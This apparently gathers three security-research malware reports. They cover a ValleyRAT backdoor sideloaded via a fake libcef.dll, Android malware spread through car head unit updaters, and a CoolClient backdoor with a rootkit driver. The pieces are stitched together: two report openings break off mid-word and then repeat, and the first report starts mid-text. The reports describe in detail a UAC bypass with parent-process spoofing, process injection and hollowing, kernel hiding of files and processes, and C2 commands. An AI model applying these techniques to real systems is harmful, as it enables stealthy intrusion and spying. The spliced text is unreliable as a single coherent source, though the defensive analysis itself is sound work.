QnWallpaper and QnwPlayer won’t actually function correctly, because the functions exported from libcef.dll are put into an infinite sleep. However, in case that sleep is ever interrupted, the attackers have implemented a function that loads all the necessary functions from the original library into memory, provided it can locate that library on the system.
Example of an exported function
Loading functions from the original libcef.dll
The malicious functionality in libcef.dll is invoked by a call to DllMain, which runs automatically when the library is loaded. That said, alongside the original exports, the library also contains a function named RunDLL, which likewise initiates execution of the malicious code. QnWallpaper never calls this function. We suspect the attackers intended to invoke it manually via rundll32 or planned to use a separate executable for this purpose, one that wasn’t included in the package downloaded by the sample.
The RunDLL function
Running the malicious code
When the library is loaded, code runs that ensures QnWallpaper.exe persists at startup: it adds a file extension association and drops a file with the corresponding extension in C:\Documents and Settings\<username>\Start Menu\Programs\Startup\.
This is followed by a chain of wrapper functions whose main job is to call the next one. Execution eventually reaches the function that contains the actual malicious code. For convenience, we’ll refer to it as mw_entry.
Inside mw_entry, the malware checks two things:
Whether the current user belongs to the Administrators group
Which process the DLL is running inside
Checking for administrator privileges
If the user isn’t a member of the Administrators group, the program attempts to obtain administrator privileges by using the runas utility.
Relaunching the process to obtain administrator privileges
Once it has administrator privileges, the malicious code determines which process the DLL has been loaded into, and selects the payload accordingly:
If the library is running inside QnWallpaper.exe, the payload is loaded from the PeLoader file.
Encrypted payload
If the library is running inside QnwPlayer.exe, the payload is loaded from libcef.dll resources.
Retrieving the payload from a resource
Both payloads are AES-encrypted DLLs that contain the ValleyRAT backdoor. The only difference between them is their configuration, specifically, the C2 server addresses. After decryption, libcef.dll checks the magic signatures in the resulting PE file’s headers to confirm the sample is valid. If this check fails, the library releases its resources and takes no further action.
Validating the PE file headers after decryption
If the headers check out, libcef.dll loads the payload into the process’s memory space and hands control over to the backdoor by calling DllMain.
Calling DllMain
ValleyRAT
ValleyRAT begins its operation by parsing its configuration, which consists of key:value pairs concatenated into a single string. To obfuscate this configuration, the attackers wrote the string in reverse.
Obfuscated configuration
During parsing, the backdoor restores the correct character order and reads the key values one by one. The set of keys is the same regardless of which process the backdoor is running in.
Parsing the configuration
Some of the configuration fields are listed below:
Key
Description
p?
C2 server IP address
o?
C2 server port
t?
Protocol (1: TCP, 0: UDP)
dd
Sleep duration before executing the main code
cl
Sleep duration after receiving the corresponding command from the server
bz
Configuration creation date
bh
Whether to mark the current process as critical (so that terminating it triggers a blue screen of death) Possible values: 1: yes, 0: no
ll
Whether to check for running security/traffic-analysis tools/processes (1: check, 0: do not check)
sh
Whether to inject code into svchost that will restart the malicious process (1: inject, 0: do not inject)
The backdoor uses several techniques to protect its process. Some are configuration-dependent, while others are always applied:
Injecting code into svchost to restart the process: a configurable option. The backdoor allocates memory inside the svchost process, injects code into it, and sets PAGE_NOACCESS permissions on the memory page containing the injected data. It then creates a suspended thread, waits 60 seconds, grants read, write, and execute permissions on the page, and resumes the thread.
Injecting code into svchost
The function injected into the process has a single job: restart the backdoor if its execution is interrupted for any reason.
Injected function
Marking its own process as critical (so that terminating it triggers a blue screen of death): a configurable option.
Setting its own process as critical
Restarting on an unhandled exception. This protection mechanism is always active, regardless of the backdoor’s configuration.
Restarting on exceptions
The backdoor also has spyware functionality. While running, it tracks keystrokes and the currently focused window by using functions from the DirectInput8 library. It also captures clipboard contents. All collected data is saved to a file on disk.
Capturing clipboard data
If the ll key in the configuration is set to 1, ValleyRAT periodically checks for active windows belonging to applications that could be used to analyze processes or traffic. Window enumeration is done via the EnumWindows function, using the following callback:
Window name checks
After completing these checks, the backdoor collects system information, including:
Host name
Host IP addresses
User idle time
Detailed Windows version information (ProductName, EditionId, DisplayVersion)
Number of CPU cores
Free disk space
Graphics adapter
Currently focused window and its title
System bitness
Language settings
Path to the system directory
On command, the backdoor can perform the actions typical of this malware category:
Rebooting the computer
Shutting down the computer
Taking a screenshot
Wiping logs
Updating its C2 addresses
Downloading additional modules
Sending keylogger logs along with clipboard contents
Snippet of the command handler
Let’s take a closer look at the module-loading functionality. Upon receiving the corresponding command with a link from its operator, the backdoor downloads the file at that link and executes it. The download can come from either the C2 server or a third-party address.
The DownloadPeFile function is responsible for downloading a PE file
The DownloadAndExecute function calls DownloadPeFile, then launches the downloaded module
Additional modules can take the form of purpose-built dynamic libraries or shellcode. If the payload is shellcode, the backdoor uses process hollowing with svchost to launch the module.
Implementation of the process hollowing technique
If the module is a dynamic library, the backdoor loads the PE file into its own process, calls DllMain, and searches for a Main function among the exported functions. Once Main has been called, the library is unloaded from memory.
Calling DllMain after the backdoor loads the PE file
Targets and attribution
Over the course of 2026, we detected the ValleyRAT backdoor and its associated malware more than 100,000 times, with more than 1500 unique users affected, primarily in China and India.
This attack geography, combined with the use of the ValleyRAT backdoor, points to Silver Fox, a known operator of this malware family, as the likely group behind the campaign.
Conclusion
This case is a clear example of how adware and affiliate networks can turn out to be far more dangerous than they appear. ValleyRAT is a sophisticated backdoor capable of collecting sensitive data such as keystrokes and clipboard contents, taking screenshots, and delivering additional malicious modules. The attackers exploited a well-known adware application to run the backdoor under the guise of a signed process, which complicates detection.
Motivated by both cyberespionage and financial gain, Silver Fox targets organizations across multiple countries. To stay protected, organizations should keep employee cybersecurity awareness up to date and enforce clear policies on the use of third-party software on work devices.
For individual users, we recommend avoiding the installation of software with a questionable reputation, and, even more importantly, never adding such software to your security solutions’ exclusion lists.
While monitoring Android threats in June 2026, we discovered a new piece of Android malware. What struck us as unusual was that it installed like an ordinary user app yet made no attempt to disguise itself as legitimate software: it had no user interface at all. This led us to suspect the app might be reaching users’ devices without their knowledge. Further investigation confirmed that hypothesis and allowed us to reconstruct the entire infection chain.
Key findings:
We identified new Android m
While monitoring Android threats in June 2026, we discovered a new piece of Android malware. What struck us as unusual was that it installed like an ordinary user app yet made no attempt to disguise itself as legitimate software: it had no user interface at all. This led us to suspect the app might be reaching users’ devices without their knowledge. Further investigation confirmed that hypothesis and allowed us to reconstruct the entire infection chain.
Key findings:
We identified new Android malware: a multi-stage downloader whose ultimate purpose is ad fraud and creation of a proxy botnet.
The malware spread through the built-in updaters of Android-based automotive head unit firmware. This is the first documented case of malware found on a car head unit with an infection chain specific to that type of device.
We attribute this activity, with high confidence, to the MoYu Group, an actor linked to the BADBOX botnet.
Kaspersky solutions detect the threats described below under the following detection names:
HEUR:Trojan-Dropper.AndroidOS.Agent.vu
HEUR:Trojan-Downloader.AndroidOS.Agent.ov
HEUR:Trojan-Proxy.AndroidOS.Zhima.*
HEUR:Trojan.AndroidOS.Vo1d.*
Head unit firmware overview
A head unit is a system that combines multimedia functions with partial control over certain vehicle functions. Head units may come as part of a car’s factory equipment or as an aftermarket upgrade. The main attack vectors for these systems are compromise via physical access and vulnerabilities in the head unit’s OS or components, both of which we’ve covered previously.
In some cases, head units run on Android, primarily because it’s convenient for manufacturers: Android’s source code already accounts for use cases within automotive head units. Android also allows manufacturers to add their own system applications during the build process, which they can use for a range of purposes: customizing the UI, adding system components tailored to the vendor’s needs, and more.
Most apps developed for Android devices can also run on an Android-based head unit, and that is true for malware as well. That said, it’s hard to imagine certain categories of smartphone-targeted malware being used to attack a head unit. Banking Trojans are a good example: since mobile banking is used almost exclusively on smartphones, infecting a head unit with a banking Trojan would be a waste of the attacker’s resources.
It’s worth noting that head units often include SIM card slots and can connect to the internet, enabling features like navigation and software updates. Since a head unit typically holds nothing of value to an attacker, one of the more likely attack scenarios using “classic” Android malware is infecting the device to recruit it into a botnet – similar to attacks on IoT devices.
During our research, we found exactly that kind of malware. The design of firmware for DoFun head units enabled attackers to distribute malware. We notified the vendor about the distribution scheme, and they subsequently reported fixing the security issues.
Below is the entire infection chain:
Head unit infection scheme
Let’s look at exactly how these head units became infected.
The TWCore app
TWCore is a legitimate system application responsible for collecting analytics data and updating the head unit software. Let’s take a closer look at how the update function works.
The process is fairly simple. An MQTT message broker hosted on the subdomain cardoor[.]cn sends a message containing information about the APK files that need to be downloaded and installed on the head unit. Notably, the object describing this message includes an installNotExists field, a Boolean flag that can be set to true or false. This flag allows TWCore to install apps that weren’t originally present on the device.
TWCore only checks whether an app is already installed on the device when installNotExists = false
The APK file is downloaded to <TWCore external cache dir>/push/apk/ for installation.
The path TWCore uses to download APK files
Our telemetry revealed previously unknown malware at these file paths. On top of that, our data indicates that in every observed case, the malware was installed by an app with the package name com.tw.core, which matches the TWCore package name.
Next, we’ll break down the malware installed by TWCore: the JarService dropper.
Stage 1: the JarService dropper
As mentioned earlier, JarService is a small dropper app with no UI of any kind. It decrypts data stored as encrypted blocks within the Trojan’s code. Each block is XOR-encrypted with a single-byte key that shifts linearly from block to block. The decrypted data contains serialized information about the payload version and entry point, along with the malware’s own code for further loading.
Decrypting and deserializing information about the stage 2 payload
In the version of JarService we analyzed, the entry point for the next-stage payload was the wa method of the com.c.j.qbh class.
Stage 2: the loader
This stage’s payload is a malicious loader. Its code contains encrypted strings that are later used as class names to execute the stage 3 payload using the reflection mechanism. The loader sends implant information to one of the attackers’ servers via a POST request. Example of a request to the C2 server:
The Trojan uses the link in the dexUrl field of the data object to download serialized data for loading the next stage. This data begins with a single-byte integer, a key used to decrypt the strings in the loader’s code. Immediately following this number is a four-byte floating-point value used to XOR-decrypt the stage 3 payload, which itself is located after these keys.
Decrypting the stage 3 payload
In the decrypted payload, the entry point is the init method of the com.ast.sdk.BillingMain class, shown in the screenshot below.
Entry point of the stage 3 payload
While analyzing this stage, we noticed that the download link for the next-stage payload includes a version number. We decided to try other version numbers to retrieve different payload versions, and ultimately obtained seven distinct variants, which we list under “Indicators of Compromise” at the end of this report. The earliest version, numbered 3.57, uses a different decoding algorithm than the one described above. This may indicate that an earlier version of the infection chain used a different loader between JarService and the stage 3 payload.
Stage 3: clicker / reverse proxy loader
In this stage, the malware sends a POST request to /cpc/api/task every 90 minutes by default, containing information about the infected device (display resolution, device model, the SSID of the connected Wi-Fi network, MAC address, and so on) along with the Trojan’s configuration version. If the configuration is outdated, the C2 server returns an updated configuration containing new C2 addresses and new paths for sending HTTP requests. An example of a response is shown below. Note that at the time of our research, the most up-to-date configuration version was 3.82.
If the configuration version doesn’t need updating, the C2 server instead returns integer command identifiers, which the attackers refer to as productId. The Trojan maps each identifier to command information, which it stores as a serialized JSON object using the SharedPreferences API. Each identifier also has its own version, expressed as a UNIX timestamp. If the C2 response includes an unknown productId or one whose version is outdated, the malware sends a GET request to the attackers’ server at /cpc/api/xml to retrieve the command contents for all such identifiers. The C2 server responds with command information for each unknown identifier. An example of a response is shown below.
The command information includes a tagName field, which is the command name. The code maps each name to the corresponding class responsible for executing it.
List of executable commands
At the time of our research, the attackers had implemented nine commands. The table below lists command names, brief descriptions, and arguments. The functionality of these commands suggests that the malware can be used to display ads, commit ad fraud (serving as a clicker), and download additional malicious code.
Command name
Description
Arguments
return
Return a value from SharedPreferences.
key: the key whose value should be returned
copy
Set the contents of the clipboard.
text: the key whose value from SharedPreferences is returned as the clipboard contents url: a link for downloading gzip-compressed data (optional); this data is then concatenated with the value of the text key, with (5 spaces) used as a separator
http
Make a POST/GET HTTP request to a specified resource and, if instructed, save the response in SharedPreferences under a specified key.
url: the resource address method: the HTTP method name (optional) startLabel: a marker for the start of the data to save from the resource (optional) endLabel: a marker for the end of the data to save from the resource (optional) valueLabel: the key under which to save the value (optional) header: a dictionary of headers for the HTTP request (optional) content: the content of the POST request (optional)
web
Open a link in the WebView and execute arbitrary JavaScript code within it.
url: the link to open in the WebView js: base64-encoded JavaScript code to execute in the WebView; used when the url parameter is empty or absent corejs: JavaScript code to execute when the resource loads in the WebView (optional) param: a string dictionary of parameters for launching the WebView client: if this key is present, WebViewClient is used to handle redirects manually time: task timeout
loadlib
Not fully implemented at the time of publishing this report.
–
loadlib2
Download and execute arbitrary code.
url: the address to download the payload from name: the name of the module being downloaded md5: the MD5 hash of the payload clear: a comma-separated list of payload names to delete (optional) params: an array of parameters to launch the payload with className: the class name of the payload entry point method: the name of the virtual method at the payload entry point cmethod: the name of the static method used to instantiate the entry-point class (optional) thread: a flag; the payload runs in a separate thread if this flag is not set reload: a flag that, when set, restarts already loaded modules
loadlib3
Not fully implemented at the time of publishing this report.
–
deeplink
Open a resource in the browser.
url: a link to the resource
traceroute
Check resource availability via an ICMP ping.
host: comma-separated list of resources to check
However, attackers use only a relatively small subset of these commands in real-world attacks. As shown in the example C2 response above, at the time of publishing this report the attackers were using the loadlib2 and http commands. The payload downloaded via the loadlib2 command is a reverse proxy module named “zhima”, which researchers from the Nokia Deepfield Emergency Response Team independently discovered in TV set-top boxes around the same time as we did and also described in their report. This confirms that the attackers’ ultimate goal is building a proxy botnet.
While investigating this stage of the attack chain, we noticed that the zhima download link also included a version number. As with the previous stage, we tried other possible version numbers and found eight variants of the zhima module, the earliest of which was version 57. The complete list of identified zhima modules is provided under “Indicators of Compromise” below.
Attribution
While analyzing the complete infection chain, we noticed that the stage 2 loader created a thread with the meaningful name mosdk-host-loader. We decided to investigate what mosdk referred to in that name. This led us to a malicious app installed on various TV set-top boxes with the package name com.abc.nexus (3AD4BF5A86D26FFBF09CAE42AF330A98). It consists of several components (including a dropper similar to JarService), each used by the attackers to covertly monetize the device’s computing power. Each malicious component in the app corresponds to its own service, and the service containing the launch code for the JarService-like dropper is named AdmoyuService. In light of this and the name of the malicious thread found in the payload code, we concluded that moyu in the service name referred to MoYu Group, one of the actors linked to the BADBOX malware platform, which had been described by researchers at HUMAN. This assessment is further supported by extensive overlap between the malware’s network infrastructure and that of MoYu Group, which was independently identified by researchers from the Nokia Deepfield Emergency Response Team around the same time as our own research. Based on these similar naming patterns and prominent infrastructure overlap between the activity of MoYu Group and the attacks described in this report, we attribute it to the same actor with high confidence.
While investigating the malware downloaded by TWCore, we noticed that the domain admin.uipoxy[.]com resolved to the IP address 128.14.210[.]58, one of the C2 servers for the zhima reverse proxy module. It appears that the URL hxxp://admin.uipoxy[.]com/proxy/u/login hosts the zhima admin panel. Interestingly, this panel allows anyone to register as long as they have a valid invite code.
The malware operator registration page
During registration, users are prompted to review the terms of use and privacy policy. Both documents are hosted on links under the pxyedge[.]com domain, which belongs to PXYEDGE, a vendor specializing in the sale of residential proxies.
We found several similarities in the authentication APIs across all of these sites:
The sign-in page was hosted on an admin.* subdomain.
The sign-in page was located at /proxy/u/login.
The signup page was located at /proxy/register?channelKey=<invitation code>.
Based on this, we believe these services are connected to MoYu Group.
Conclusion
Despite efforts by cybersecurity professionals and law enforcement to shut down the BADBOX botnet, individual actors linked to it continue their malicious activity, infecting devices worldwide. Delivery methods for this kind of malware vary widely, from downloads via pre-installed backdoors to infected builds of IPTV apps. The case examined here demonstrates an even more sophisticated delivery method: distribution through the legitimate update functionality of a system application. Attackers are also actively expanding into new platforms. This malware is the first known malicious app targeting head units, which means these platforms now require protection against malware as well.
Introduction
CoolClient is a backdoor family attributed to the HoneyMyte APT group (also known as Mustang Panda) that has been used in their cyber-espionage campaigns targeting organizations across Asia and Russia. It supports such capabilities as keylogging, clipboard theft, credential harvesting, file management, system reconnaissance, and plugin-based extensions.
Since its first public disclosure by Sophos in 2022 and subsequent analysis by Trend Micro in 2023, CoolClient has continued to evo
CoolClient is a backdoor family attributed to the HoneyMyte APT group (also known as Mustang Panda) that has been used in their cyber-espionage campaigns targeting organizations across Asia and Russia. It supports such capabilities as keylogging, clipboard theft, credential harvesting, file management, system reconnaissance, and plugin-based extensions.
Since its first public disclosure by Sophos in 2022 and subsequent analysis by Trend Micro in 2023, CoolClient has continued to evolve. In 2025, we analyzed a newer variant that introduced clipboard theft and HTTP traffic interception for credential harvesting.
In late 2025 and 2026, our latest investigation reveal another major evolution. The newest CoolClient variant can deploy a signed kernel-mode driver as a Windows service and communicate with it through IOCTL requests. The driver enhances the malware’s stealth by hiding the CoolClient process, protecting related files and registry entries, and preventing them from being inspected or modified. The overall design is comparable to the kernel-mode enhancements previously observed in ToneShell, but the CoolClient driver exposes dedicated IOCTL handlers that allow the user-mode backdoor to communicate directly with the driver.
We have observed this updated CoolClient variant and its accompanying driver in intrusions across multiple countries in Asia, including Pakistan, Mongolia, and Myanmar.
Technical analysis
In the observed campaign targeting Myanmar, HoneyMyte used PlugX as the initial post-compromise implant to deploy the CoolClient components. Before deploying the malware, the actor added both a folder exclusion and a file exclusion to Microsoft Defender for the fake Windows Defender installation directory and the renamed sideloader executable (defender.exe).
The actor then created a fake Windows Defender installation directory, copied the CoolClient components into it, and renamed a legitimate Sangfor executable, usually named Sang.exe, to defender.exe to serve as the DLL sideloader.
When executed, defender.exe sideloads the malicious libngs.dll, initiating the CoolClient execution chain described in the following sections.
CoolClient components
Similar to previous variants, the latest CoolClient user-mode component follows a multi-stage execution chain, with each component performing a distinct role during execution.
Component
Description
defender.exe / Sang.exe
Legitimate Sangfor application abused for DLL sideloading
libsrapc.dll
Benign dependency required for the Sangfor application to execute normally
libngs.dll
First-stage loader that decrypts and loads the next stage into memory (First stage)
loadcert.ini
Encrypted DLL implementing the core CoolClient functionality, including command handling, process injection, driver deployment, and persistence (Second stage)
cert.ini
Final-stage implant responsible for C2 communication and backdoor functionality (Final stage)
time.ini
CoolCleint configuration file
Our previous CoolClient analysis focused primarily on the final-stage implant (main.dat), including its backdoor commands and plugin framework, while the first-stage loader (libngs.dll) and second-stage component (loader.dat) received only a brief overview. In the latest variant CoolClient, loader.dat and main.dat have been renamed to loadcert.ini and cert.ini, respectively. This article revisits those earlier stages, focusing on the second-stage component and the newly introduced kernel-mode driver that extends CoolClient with rootkit capabilities.
Overview of the new variant of CoolClient
First stage: libngs.dll
Execution begins when the legitimate Sangfor application (defender.exe or Sang.exe) loads the malicious libngs.dll through DLL sideloading. As in previous CoolClient variants, the malware continues to abuse the same Sangfor application to execute its first-stage loader.
To make the DLL appear legitimate, libngs.dll exports numerous dummy functions. Each export simply calls OutputDebugStringA with its corresponding function name before immediately invoking ExitProcess, serving no functional purpose other than mimicking the expected export table of the legitimate DLL.
Dummy export functions in libngs.dll invoking OutputDebugStringA and ExitProcess
The actual malicious logic is executed from DllMain (DllEntryPoint). Although heavily obfuscated through control flow flattening and numerous unconditional jumps, the routine ultimately performs a straightforward task: loading, decrypting, and executing the encrypted second-stage DLL, loadcert.ini.
The loader resolves the required Windows APIs, reads loadcert.ini into memory, and decrypts it using a 0x32-byte repeating XOR keystream derived from a transformed seed value of 0xA4. After decryption, the DLL is loaded directly into memory, and execution is transferred to loadcert.ini.
Second stage: loadcert.ini (before synchost.exe injection)
The second-stage DLL, loadcert.ini, is responsible for preparing the execution environment before the malware transitions into its injected process. It first determines its execution context by checking whether the current module is synchost.exe.
If the DLL is running under the original sideloaded process (for example, Sang.exe), it performs the initial setup, including persistence, UAC bypass, registry modifications, and process injection.
If the DLL is already executing inside synchost.exe, it follows a different execution path that decrypts time.ini, deploys the kernel-mode driver, and loads the final-stage implant (cert.ini).
Command handler
The command handler remains largely unchanged from previous CoolClient variants, with one notable difference: the malware now injects into synchost.exe instead of write.exe.
Execution is controlled through three command-line parameters:
Parameter
Purpose
install
Performs the initial setup, including persistence, privilege checks, and preparation for the injected execution path.
work
Executes the primary second-stage functionality from the injected synchost.exe process, including driver deployment and third-stage loading.
passuac
Continues execution after privilege elevation.
If no parameter is supplied, the malware creates a new Sang.exe process with the install parameter using CreateProcessW.
Establishing AutoRun persistence
When executed with the install parameter, CoolClient creates an AutoRun entry under:
The registry value, named goopdate, launches Sang.exe (or defender.exe, depending on the deployment) with the work parameter whenever the user logs on.
Process injection into synchost.exe
Upon establishing the AutoRun registry entry, CoolClient decrypts loadcert.ini using a 0x32-byte repeating XOR keystream derived from the hardcoded base key 0x4D.
The decrypted DLL is then injected into a newly created suspended instance of synchost.exe. The malware allocates memory in the target process, writes the decrypted payload, redirects the thread context to the injected code, resumes execution, and finally terminates the original process with ExitProcess.
From this point onward, execution continues entirely within synchost.exe, where the malware proceeds with kernel-mode driver deployment before loading the final-stage implant (cert.ini).
Service installation
When executed with the install parameter, CoolClient establishes an additional persistence mechanism by installing itself as a Windows service. Before doing so, it verifies that it has sufficient access to the Service Control Manager and that no 360 Total Security software processes (360sd.exe, zhudongfangyu.exe, or 360desktopservice64.exe) are running.
Function to check for running 360 Total Security software processes
If both checks succeed, the malware decrypts time.ini to retrieve the service configuration, including the service name and description. It then checks whether the service media_updaten already exists. If found, the existing service is stopped and deleted before a new one is created.
The new service is configured to execute Sang.exe<.code> with the work parameter using CreateServiceA. The malware then starts the service by executing "sc start media_updaten" via WinExec.
Administrator privilege check
If the service installation path is not taken, CoolClient checks whether the current process is running with administrator privileges by verifying membership in the local Administrators group.
When administrative privileges are available, the malware relaunches itself with the passuac parameter before continuing with the remaining execution flow.
Elevated relaunch and UAC bypass
To continue execution with elevated privileges while concealing its true parent process, CoolClient implements an RPC-based process creation technique similar to the method described by Google Project Zero. The technique combines RPC process creation with parent process ID (PPID) spoofing to launch a new elevated instance of itself.
The malware first checks for the presence of escanmon.exe. If the process is running, it constructs the path to C:\Windows\System32\winver.exe and establishes a connection to the local ncalrpc endpoint (201ef99a-7fa0-444c-9399-19ba84f12a1a). It then invokes NdrAsyncClientCall to launch winver.exe through the RPC interface.
Authenticated RPC binding used during the RPC-based UAC bypass
After winver.exe is created, CoolClient retrieves its debug object using NtQueryInformationProcess, detaches the debugger through NtRemoveProcessDebug, and terminates the process. The obtained debug object is later reused during the remainder of the UAC bypass routine.
Next, the malware repeats the same RPC-based process creation technique to launch computerdefaults.exe. It associates the previously obtained debug object with the current thread using DbgUiSetThreadDebugObject, waits for the resulting process creation event through WaitForDebugEvent, and duplicates the process handle using NtDuplicateObject, obtaining a handle with full access rights.
Finally, CoolClient relaunches itself as Sang.exe passuac using CreateProcessW with an extended startup attribute list. By configuring PROC_THREAD_ATTRIBUTE_PARENT_PROCESS through UpdateProcThreadAttribute, the duplicated process handle is assigned as the parent of the new process. As a result, the new Sang.exe passuac instance executes with an elevated context while appearing to have been spawned by the trusted Windows process instead of the original CoolClient process.
Second stage: loadcert.ini (Injected Execution)
After being injected into synchost.exe, loadcert.ini follows its injected execution path, where it deploys the kernel-mode driver and launches the final-stage implant (cert.ini). If administrative privileges are unavailable, the malware skips driver deployment and proceeds directly to the third-stage injection.
Kernel-Mode driver deployment
The deployment routine begins by decrypting time.ini. CoolClient then verifies that it has sufficient privileges to install a kernel-mode driver by checking for full access to the Service Control Manager (SCM) and the presence of SeTcbPrivilege.
If both conditions are met, CoolClient extracts an embedded LZMA-compressed driver from loadcert.ini, decompresses it, and writes it to disk as msagent.sys in the same directory as cert.ini, for example:
Next, the malware checks whether a service named msagent already exists. If present, the existing service is stopped and deleted before a new driver service is created and started, loading the kernel-mode component into the operating system.
Driver initialization
After the driver is loaded, CoolClient establishes communication with it by opening the device \\.\msagent using CreateFileW. The user-mode component then initializes the driver by issuing three DeviceIoControl requests.
IOCTL
Purpose
0x222120
Registers the current CoolClient process with the driver.
0x2221E0
Sends the configured C2 IPv4 address to the driver.
0x2220F0
Registers filesystem and registry paths that should be protected or hidden.
The first request (0x222120) registers the current CoolClient process as a trusted process within the driver. The request includes the process ID, an operation code, and a flag that marks the process as trusted, allowing it to interact with protected files, registry keys, and processes.
The second request (0x2221E0) passes the configured C2 IPv4 address extracted from time.ini.
Finally, 0x2220F0 registers the CoolClient installation directory (for example, C:\Program Files\Microsoft\Windows Defender\) together with the service registry path (\Registry\Machine\SYSTEM\CurrentControlSet\Services\media_updaten). These entries allow the driver to protect the malware’s files and registry objects from inspection, modification, and deletion.
As part of the initialization, CoolClient updates the HKLM\SYSTEM\RNG\Wid_H1deF5Dirs registry value by appending its installation directory if it is not already present. This registry value is later used by the driver when applying its hiding and protection mechanisms.
The implementation of these IOCTL handlers and the corresponding driver functionality are discussed in the msagent.sys section.
Cert.ini process injection
Once the driver has been initialized, CoolClient proceeds to launch the final-stage implant (cert.ini). Before creating the target process, the malware enumerates active WinStation sessions to identify a suitable interactive user session.
After selecting a session, CoolClient duplicates its access token, updates the session identifier, and creates a new synchost.exe process using CreateProcessAsUserA. The decrypted cert.ini DLL is then injected into the suspended process using the same memory allocation, thread context modification, and ResumeThread technique described earlier.
This marks the final transition in the execution chain, where the third-stage implant takes over C2 communication and the remaining backdoor functionality.
Msagent.sys driver
Analysis of the deployed kernel-mode driver reveals an embedded PDB path:
The path contains several notable strings, including “Nanjing Laboratory” (南京实验室) and “Zhang Xuejie Yunnan m” (张雪杰云南m), which likely refer to the driver’s development environment. However, our OSINT analysis did not identify any information linking these strings to a known organization, developer, or threat actor.
The driver is digitally signed with a certificate issued to "Nanjing Ranyi Technology Co., Ltd.", with serial number 3E 62 DC 5D 8D 61 2A 26 33 E7 6B DF D6 07 19 DD. The certificate was valid from August 2013 to September 2014.
We identified several older malicious drivers signed with the same certificate that were compiled around 2013. However, we found no evidence directly linking those samples to the CoolClient activity described in this article.
Driver configuration
During initialization, the driver loads its stealth configuration from the registry key \REGISTRY\MACHINE\SYSTEM\RNG. The configuration defines which system objects should be hidden or protected and controls the driver’s operating mode.
Registry configuration loaded by the driver during initialization
Two REG_DWORD values control the driver’s operating mode:
Registry Value
Default
Description
Hid_State
1
Enables the driver’s rootkit functionality.
Hid_StealthMode
0
Controls additional stealth features used by selected driver routines.
In addition, the driver loads several REG_MULTI_SZ values that define the objects to be hidden or protected.
Registry Value
Purpose
Wid_H1deF5Dirs
Directories to hide
Wid_H1deF5Files
Files to hide
Wid_H1deRegKeys
Registry keys to hide
Wid_H1deRegValues
Registry values to hide
Hid_IgnoredImages
Processes to ignore
Hid_ProtectedImages
Processes to protect
Together, these registry values determine which filesystem paths, registry objects, and processes are managed by the driver’s protection mechanisms.
After loading the configuration, the driver converts the registry entries into internal lookup structures that are shared across its various protection components.
These structures are later referenced by the filesystem minifilter, registry callback, process callback, object callback, image load callback, and IOCTL handlers to determine whether a file, registry object, or process should be hidden, protected, or ignored.
Preparation for process hiding
Next, the driver dynamically locates the ActiveProcessLinks (LIST_ENTRY) field within the EPROCESS structure instead of relying on hardcoded offsets. It first validates several predefined offsets and, if none match, performs a linear scan of the EPROCESS structure to identify the correct location. This approach allows the driver to remain compatible across different Windows versions, where the layout of EPROCESS may differ.
The driver validates candidate ActiveProcessLinks layouts before enabling process hiding
Once the correct offset has been identified, it is stored for later use by the process hiding routines. During process hiding and restoration, the driver uses IOCTLs 0x22219C and 0x2221A0 to unlink and relink entries in the Windows active process list, effectively hiding or restoring processes on demand.
Process, object, and image load callbacks
After preparing its process tracking structures, the driver initializes several AVL trees and populates them with configuration entries loaded from the registry, including Wid_H1deF5Dirs, Wid_H1deF5Files, Wid_H1deRegKeys, Wid_H1deRegValues, Hid_IgnoredImages, Hid_ProtectedImages, and Hid_HideImages.
These AVL trees provide efficient lookups for protected files, registry objects, and tracked processes, and are shared by the callback routines and IOCTL handlers.
The driver then registers three types of kernel callbacks that form the foundation of its protection and monitoring mechanisms:
Object callbacks using ObRegisterCallbacks
Process creation and termination callbacks using PsSetCreateProcessNotifyRoutineEx
Image load callbacks using PsSetLoadImageNotifyRoutine
Registration of object, process, and image load callbacks during driver initialization
After registration, these callbacks maintain the driver’s internal tracking structures as processes, threads, and images are created or loaded.
Object callbacks
To protect selected processes, the driver registers object callbacks for process (PsProcessType) and thread (PsThreadType) objects using ObRegisterCallbacks with an altitude of 1203. These callbacks intercept requests to open process and thread handles. If the target process is protected, the driver reduces the access rights granted to the requesting process, preventing operations such as process termination, code injection, and other forms of process manipulation. In this sample, the protected process is the injected CoolClient code running inside synchost.exe.
Process and image load callbacks
The driver registers process creation and termination callbacks using PsSetCreateProcessNotifyRoutineEx, together with an image load callback via PsSetLoadImageNotifyRoutine.
When a process is created, its image name is compared against the configuration lists Hid_IgnoredImages, Hid_ProtectedImages, and Hid_HideImages. Matching processes are added to the driver’s internal tracking structures, allowing them to be protected, hidden, or managed through subsequent IOCTL requests. When a tracked process terminates, its entry is removed from the tracking structures.
The image load callback monitors modules loaded into tracked processes and updates the driver’s internal state to support subsequent protection and hiding operations.
To ensure that processes already running before the driver is initialized are also tracked, the driver performs a one-time enumeration of all active processes after registering the callbacks and adds any matching processes to the tracking structures.
MiniFilter registration
To protect files and directories, the driver registers a filesystem minifilter. During initialization, it creates internal path filter lists, loads the configured directory and file entries (Wid_H1deF5Dirs and Wid_H1deF5Files), and creates the required minifilter registry entries under HKLM\SYSTEM\CurrentControlSet\Services\msagent\Instances. To avoid altitude conflicts, the driver dynamically assigns a filter altitude and retries registration until a unique value is obtained.
Retrying minifilter registration with incrementing filter altitude values until FltRegisterFilter succeeds
The driver then activates the minifilter using FltRegisterFilter. The filter works together with the IOCTL interface, which dynamically adds, removes, or clears protected path entries (0x2220F0, 0x2220F4, and 0x2220F8). During filesystem operations, the minifilter compares accessed paths against its internal path lists and denies access to matching entries, effectively hiding protected files and directories from users and applications.
Registry callback registration
To protect registry keys and values, the driver registers a registry callback using CmRegisterCallbackEx with an altitude of 320000. During initialization, it creates separate lookup structures for protected registry keys and values, then populates them using the configured entries from Wid_H1deRegKeys and Wid_H1deRegValues.
Registration of the registry callback using CmRegisterCallbackEx with an altitude of 320000
Once registered, the callback intercepts registry operations and compares the target key or value against the protected entries. For enumeration requests, matching keys and values are removed from the results before they are returned to user mode, effectively hiding them from registry viewers. For direct access requests, such as opening, modifying, or deleting protected registry objects, the callback returns STATUS_ACCESS_DENIED, preventing the operation.
Before applying these restrictions, the driver verifies whether the requesting process is trusted. Processes registered through IOCTL 0x222120, including the CoolClient user-mode component, bypass the filtering logic and retain unrestricted access, while all other processes remain subject to the driver’s registry protection rules.
IOCTL command dispatcher
To communicate with the user-mode component, the driver creates a device object named \Device\ToolTool together with the symbolic link \DosDevices\ToolTool to allow the user-mode CoolClient component to communicate with the driver through DeviceIoControl requests.
The driver implements 33 IOCTL handlers, although the analyzed CoolClient sample uses only three during normal execution:
